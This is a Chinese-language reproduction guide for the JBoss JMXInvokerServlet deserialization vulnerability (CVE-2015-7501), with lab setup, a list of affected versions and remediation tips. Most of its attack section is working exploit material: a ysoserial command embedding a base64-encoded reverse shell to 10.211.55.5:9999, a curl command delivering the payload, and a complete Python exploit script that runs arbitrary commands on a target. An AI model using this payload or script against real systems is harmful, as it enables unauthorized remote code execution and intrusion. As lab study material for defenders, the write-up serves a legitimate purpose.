1.漏洞描述&搭建
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
延伸:/invoker/EJBInvokerServlet路径存在和这个一样的反序列化漏洞
环境搭建:
github下载vulhub项目,乌班图 mac,linux均可以搭建,下载对应的docker版本即可,切换到jboss目录下的JMXInvokerServlet-deserialization运行:
docker-compose up -d
2.漏洞复现
受影响版本:
Red Hat JBoss A-MQ 6.x版本;
BPM Suite (BPMS) 6.x版本;
BRMS 6.x版本和5.x版本;
Data Grid (JDG) 6.x版本;
Data Virtualization (JDV) 6.x版本和5.x版本;
Enterprise Application Platform 6.x版本,5.x版本和4.3.x版本;
Fuse 6.x版本;
Fuse Service Works (FSW) 6.x版本;
Operations Network (JBoss ON) 3.x版本;
Portal 6.x版本;
SOA Platform (SOA-P) 5.x版本;
Web Server (JWS) 3.x版本;
Red Hat OpenShift/xPAAS 3.x版本;
Red Hat Subscription Asset Manager 1.3版本
JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。整个过程和 CVE-2017-12149很像。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAuMjExLjU1LjUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" > fanshell2.ser
curl http://目标机ip:8080/invoker/JMXInvokerServlet --data-binary @fanshell2.ser --output 1
成功反弹shell:
漏洞Exp:
#! /usr/bin/env python2
# Jboss Java Deserialization RCE (CVE-2015-7501)
# Made with <3 by @byt3bl33d3r
from __future__ import print_function
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse
import sys, os
#from binascii import hexlify, unhexlify
from subprocess import check_output
ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
ysoserial_path = None
parser = argparse.ArgumentParser()
parser.add_argument('target', type=str, help='Target IP')
parser.add_argument('command', type=str, help='Command to run on target')
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')
if len(sys.argv) < 2:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
if not args.ysoserial_path:
for path in ysoserial_default_paths:
if os.path.exists(path):
ysoserial_path = path
else:
if os.path.exists(args.ysoserial_path):
ysoserial_path = args.ysoserial_path
if ysoserial_path is None:
print('[-] Could not find ysoserial JAR file')
sys.exit(1)
if len(args.target.split(":")) != 2:
print('[-] Target must be in format IP:PORT')
sys.exit(1)
if not args.command:
print('[-] You must specify a command to run')
sys.exit(1)
ip, port = args.target.split(':')
print('[*] Target IP: {}'.format(ip))
print('[*] Target PORT: {}'.format(port))
gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget)
if r.status_code == 200:
print('[+] Command executed successfully')
3.修复建议
1.目前厂商暂未发布修复措施解决此安全问题,建议使用此软件的用户随时关注厂商主页或参考网址以获取解决办法:
Red Hat - We make open source technologies for the enterprise
2.不需要 http-invoker.sar 组件的用户可直接删除此组件。
路径为:jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,删除后访问404
3.添加访问控制代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制